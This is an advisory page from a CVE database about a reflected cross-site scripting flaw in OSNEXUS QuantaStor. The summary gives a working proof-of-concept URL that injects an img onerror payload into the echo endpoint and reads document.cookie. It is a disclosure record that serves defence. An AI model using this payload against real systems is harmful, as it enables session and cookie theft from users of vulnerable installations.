cvedb.io
CVE-2021-42080
HIGH · CVSS 7.4
EPSS exploitation probability: 0%
Published 2023-07-10T16:15:47.530 · Last modified 2026-06-17T04:09:16.733

Summary

An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>

Affected products

osnexus — quantastor

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References

This product uses data from the NVD API but is not endorsed or certified by the NVD. Informational only; not professional security advice.